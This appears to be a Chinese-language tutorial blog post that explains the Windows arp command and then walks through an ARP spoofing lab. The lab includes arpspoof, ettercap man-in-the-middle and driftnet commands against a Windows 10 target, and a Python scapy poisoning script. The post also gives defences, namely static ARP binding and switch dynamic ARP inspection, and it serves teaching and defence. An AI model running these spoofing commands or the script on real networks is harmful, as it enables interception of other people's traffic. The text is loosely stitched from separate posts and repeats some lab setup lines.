竟是什么讓我們的網絡暢通無阻?IP地址?MAC地址?還是什么神奇的魔法?在Windows系統中,有一個神奇的命令,它能夠將IP地址與MAC地址之間的對應關系揭示于我們眼前。你想知道這是哪個命令嗎?它可以幫助你查找和管理網絡設備,解決IP沖突問題,甚至防范網絡攻擊!無論你是網絡小白還是資深玩家,都不能錯過這個利器!準備好了嗎?
ARP(Address Resolution Protocol)命令是一種用于解析網絡設備上的IP地址與MAC地址之間對應關系的協議。arp命令可以幫助我們在局域網中查找和管理設備,維護網絡的正常運行。本文將詳細介紹arp命令的使用方法,并提供多個實例幫助小白了解其中的應用場景。好了,那就讓我帶你進入arp命令的奇妙世界!
這將顯示出arp緩存中的所有記錄,包括IP地址、對應的物理地址(MAC地址)和接口信息。例如:
接口:192.168.176.1---0x4
Internet地址物理地址類型
192.168.176.254 00-50-56-f0-7f-13動態
192.168.176.255 ff-ff-ff-ff-ff-ff靜態
224.0.0.2 01-00-5e-00-00-02靜態
224.0.0.22 01-00-5e-00-00-16靜態
224.0.0.251 01-00-5e-00-00-fb靜態
224.0.0.252 01-00-5e-00-00-fc靜態
238.238.238.238 01-00-5e-6e-ee-ee靜態
239.255.255.250 01-00-5e-7f-ff-fa靜態
255.255.255.255 ff-ff-ff-ff-ff-ff靜態
在上面的例子中,192.168.176.254和192.168.176.255都是網絡設備的IP地址,它們分別對應的物理地址(MAC地址)是00-50-56-f0-7f-13和ff-ff-ff-ff-ff-ff。
arp -d 192.168.1.10
arp -s 192.168.1.10 <MAC地址>
ping -n 30 192.168.1.10
其中,<MAC地址>應替換為MAC地址的實際值。
如果命令執行成功,說明IP沖突問題已經解決。如果命令執行失敗或者沒有回應,說明IP沖突問題仍然存在。
執行該命令后,arp緩存中的所有記錄都將被刪除。
總之,本文詳細介紹了arp命令的使用方法以及多個實例,希望能夠幫助小白用戶更好地理解和應用。通過arp命令,我們可以查看本地計算機的arp緩存表,解決IP沖突問題,查找其他設備的MAC地址,進行網絡故障排查。良好掌握arp命令的使用,可以幫助我們更好地管理和維護局域網,確保網絡的正常運行。
那么,你是不是已經對arp命令心動了呢?想要揭開網絡的神秘面紗,成為網絡暢通的大師嗎?現在就立即行動起來吧,嘗試使用arp命令來查看本地的arp緩存表,解決IP沖突問題吧!
文章來源:知了堂馮老師原創
知了小姐姐今天又來給大家送干貨啦!
ARP協議
地址解析協議,即ARP(Address Resolution Protocol),是根據IP地址獲取物理地址的一個TCP/IP協議。主機發送信息時將包含目標IP地址的ARP請求廣播到局域網絡上的所有主機,并接收返回消息,以此確定目標的物理地址,說白了就是將IP地址轉化為MAC地址。
如果每個發送IP Packet都要執行一次 ARP, 網絡將是不可承受的
ARP緩存機制 Static: arp -s Dynamic: 根據ARP應答更新 ARP應答并非都是由請求觸發的 主機啟動時會主動發送ARP應答 刷新鄰居的ARP緩存
ARP協議在設計存在著什么安全問題? ARP廣播請求/應答 ARP緩存
ARP欺騙 (ARP Spoofing) 發送偽造ARP消息,對特定IP所對應的MAC地址進行假冒欺騙,從而達到惡意目的。
PC1和PC2正常通信的時候,會雙方會記錄對方的IP和MAC地址的映射,就是生成ARP緩存表,當PC1信息發送至交換機端口1的時候再轉發到PC2,交換機同樣會記錄MAC1,生成一條MAC1和端口1的映射,之后交換機可以跟MAC楨的目的MAC進行端口轉發。
如果現在有一臺PC3,當PC1和PC2建立關系的時候,PC3處于監聽狀態,也就是會把廣播包給丟棄,但PC3同樣也可以把包抓起,并回復虛假包,告訴PC1,我是PC2,那么PC1就收到了兩條PC2的回應包(一個真的,一個假的),PC1不知道誰是真誰是假,所以PC3就可以連續發包,覆蓋掉真正的PC2的包,與PC1建立聯系,進行ARP欺騙
實驗準備
攻擊機:kali ip:192.168.2.135
靶機 :win10 ip:192.168.2.196 網關:192.168.2.1
攻擊機發起攻擊 arpspoof命令 -i(interface) 網卡eth0 -t(target) 目標IP:192.168.2.196 目標主機網關192.168.2.1
實驗準備
攻擊機:kali ip:192.168.2.135
靶機 :win10 ip:192.168.2.196 網關:192.168.2.1
攻擊機發起攻擊
arpspoof命令 -i(interface) 網卡eth0 -t(target) 目標IP:192.168.2.196 目標主機網關192.168.2.1 arpspoof命令 -i(interface) 網卡eth0 -t(target) 目標IP:192.168.2.1 目標主機網關192.168.2.196
echo 1 >> /proc/sys/net/ipv4/ip_forward
用ettercap命令進行嗅探 -T 文本模式 -q 安靜模式
-M 中間人攻擊 ettercap -T -q -M ARP /192.168.2.1// ///
用driftnet進行流量監控靶機訪問頁面, 顯示圖片 driftnet -i eth0
網關/關鍵服務器 "arp -s IP地址 MAC地址 類型"
ARP防火墻
Win 7下直接運行cmd,arp -s會出現下面的錯誤提示:
ARP 項刪除失敗: 請求的操作需要提升。
ARP 項添加失敗: 拒絕訪問。或提示:ARP 項添加失敗: 請求的操作需要提升。
(英文版提示:The ARP entry addition failed: Access is denied. )
如何解決呢?
運行arp -s需要用管理員身份運行,
進入windowssystem32文件夾找到cmd.exe,右鍵“以管理員身份運行”,接下來具體做法是:
1、先運行:netsh i i showin 找到正在使用的網卡idx號
2、然后運行:netsh -c i i add neighbors 11 192.168.1.1 00-21-27-bc-89-48就可以進行綁定了,這里11是idx號,后面是ip地址與物理地址。
3、輸入 arp -a查看
在Win7用ARP -D并不能完全的刪除綁定
必須使用
netsh -c "i i" delete neighborsIDX (IDX改為相應的數字)
才可刪除MAC地址綁定
?
動態 ARP 檢測(DAI)可用來驗證網絡中的 ARP 包,會攔截、記錄并丟棄帶有無效 IP-MAC 地址映射的 ARP 包,可以保護網絡免受中間人攻擊的影響。動態 ARP 檢測課確保只允許有效的 ARP 請求和回應被轉發。
配置步驟為:
1在一個或多客戶VLAN 上啟用:
switch(config)#ip arp inspection vlan vlan-range
在該命令中,可指定單個 VLAN ID ,用連字符分隔的 VLAN ID 范圍或用逗號分隔的 VLAN ID 列表。
2將端口指定為可信。
switch(config)#interface type mod/numswitch(config-if)#ip arp inspection trust
3驗證配置
switch#show ip arp inspection vlan vlan-id
#coding=utf-8
from scapy.all import *
import sys
import os
class ar:
#mac地址獲取
def get_mac(self,ip_address):
try:
#發包獲取mac
ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2)
except Exception as e:
print(e)
else:
for send,rcv in ans:
print(rcv[ARP].psrc+"---->"+rcv[Ether].src)
return rcv[Ether].src
pass
#中斷arp攻擊
def restore_target(self,gateway_ip,target_ip,gateway_mac,target_mac):
print("[-] Restoring target ……")
send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac))
send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac))
# os.kill(os.getpid(),signal.SIGINT)
pass
#arp攻擊
def poison_target(self,gateway_ip,target_ip,gateway_mac,target_mac):
try:
send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst=target_mac))
send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst=gateway_mac))
except KeyboardInterrupt:
restore_target()
pass
def main():
#網卡
interface="eth0"
#目標ip
target_ip="192.168.75.11"
#網卡ip
gateway_ip="192.168.75.1"
packet_count=1000
conf.iface=interface
conf.verb=0
arp=ar()
#獲取網卡mac
gateway_mac=arp.get_mac(gateway_ip)
if gateway_mac==None:
print("[!] Failed to get target MAC. Exiting.")
else:
print("[-] gateway_ip {ip} is at geteway_mac {mac}".format(ip=gateway_ip,mac=gateway_mac))
#獲取目標mac
target_mac=arp.get_mac(target_ip)
if target_mac==None:
print("[!] Failed to get target MAC Exiting.")
else:
print("[-] target_ip {ip} is at target_mac {mac}".format(ip=target_ip,mac=target_mac))
#arp.poison_target(gateway_ip,target_ip,gateway_mac,target_mac)
arp.restore_target(gateway_ip,target_ip,gateway_mac,target_mac)
if __name__=="__main__":
main()
今天的干貨分享就到這里啦,想要獲取更多免費干貨資源,私信知了小姐姐哈。